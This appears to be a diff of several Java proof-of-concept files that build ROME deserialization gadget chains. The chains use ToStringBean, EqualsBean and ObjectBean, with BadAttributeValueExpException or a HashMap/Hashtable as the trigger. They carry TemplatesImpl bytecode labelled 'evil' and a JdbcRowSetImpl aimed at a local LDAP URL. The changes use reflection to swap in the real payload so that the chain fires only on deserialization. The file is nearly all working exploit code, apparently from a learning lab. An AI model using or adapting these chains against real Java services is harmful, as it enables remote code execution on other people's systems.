@@ -7,8 +7,10 @@
 import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtConstructor;
+import org.apache.commons.collections4.functors.ConstantTransformer;
 
 import javax.management.BadAttributeValueExpException;
+import javax.xml.transform.Templates;
 import java.io.*;
 import java.lang.reflect.Field;
 import java.util.HashMap;
@@ -24,11 +26,15 @@ public static void main(String[] args) throws Exception{
         byte[] evil = getTemplatesImpl("Calc");
         byte[][] codes = {evil};
         byteCodesField.set(templates,codes);
-//        templates.newTransformer();
-        ToStringBean toStringBean = new ToStringBean(c,templates);
-//        toStringBean.toString();
-        Class toStringBeanEvil = toStringBean.getClass();
-        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);
+
+        ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
+
+        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
+        Class Bv = Class.forName("javax.management.BadAttributeValueExpException");
+        Field val = Bv.getDeclaredField("val");
+        val.setAccessible(true);
+        val.set(badAttributeValueExpException,toStringBean);
+
         serialize(badAttributeValueExpException);
         unserialize("ser.bin");
     }
 
@@ -7,7 +7,9 @@
 import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtConstructor;
+import org.apache.commons.collections4.functors.ConstantTransformer;
 
+import javax.xml.transform.Templates;
 import java.io.*;
 import java.lang.reflect.Field;
 import java.util.HashMap;
@@ -25,12 +27,17 @@ public static void main(String[] args) throws Exception{
         byte[][] codes = {evil};
         byteCodesField.set(templates,codes);
 //        templates.newTransformer();
-        ToStringBean toStringBean = new ToStringBean(c,templates);
+        ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
 //        toStringBean.toString();
         Class toStringBeanEvil = toStringBean.getClass();
         EqualsBean equalsBean = new EqualsBean(toStringBeanEvil,toStringBean);
         Hashtable hashtable= new Hashtable();
         hashtable.put(equalsBean,"Drunkbaby");
+
+        Field field = toStringBean.getClass().getDeclaredField("_obj");
+        field.setAccessible(true);
+        field.set(toStringBean,templates);
+
         serialize(hashtable);
         unserialize("ser.bin");
 
 
@@ -3,7 +3,9 @@
 import com.sun.rowset.JdbcRowSetImpl;
 import com.sun.syndication.feed.impl.EqualsBean;
 import com.sun.syndication.feed.impl.ToStringBean;
+import org.apache.commons.collections4.functors.ConstantTransformer;
 
+import javax.xml.transform.Templates;
 import java.io.*;
 import java.lang.reflect.Field;
 import java.util.HashMap;
@@ -16,13 +18,15 @@ public static void main(String[] args) throws Exception {
         String url = "ldap://127.0.0.1:1230/ExportObject";
         jdbcRowSet.setDataSourceName(url);
 
-
-        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
+        ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
         EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
 
         HashMap<Object,Object> hashMap = new HashMap<>();
         hashMap.put(equalsBean, "123");
 
+        Field field = toStringBean.getClass().getDeclaredField("_obj");
+        field.setAccessible(true);
+        field.set(toStringBean,jdbcRowSet);
         serialize(hashMap);
         unserialize("ser.bin");
     }
 
@@ -28,7 +28,7 @@ public static void main(String[] args) throws Exception{
         byte[] evil = getTemplatesImpl("Calc");
         byte[][] codes = {evil};
         byteCodesField.set(templates,codes);
-//        templates.newTransformer();
+
         ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
         ObjectBean equalsBean = new ObjectBean(ToStringBean.class,toStringBean);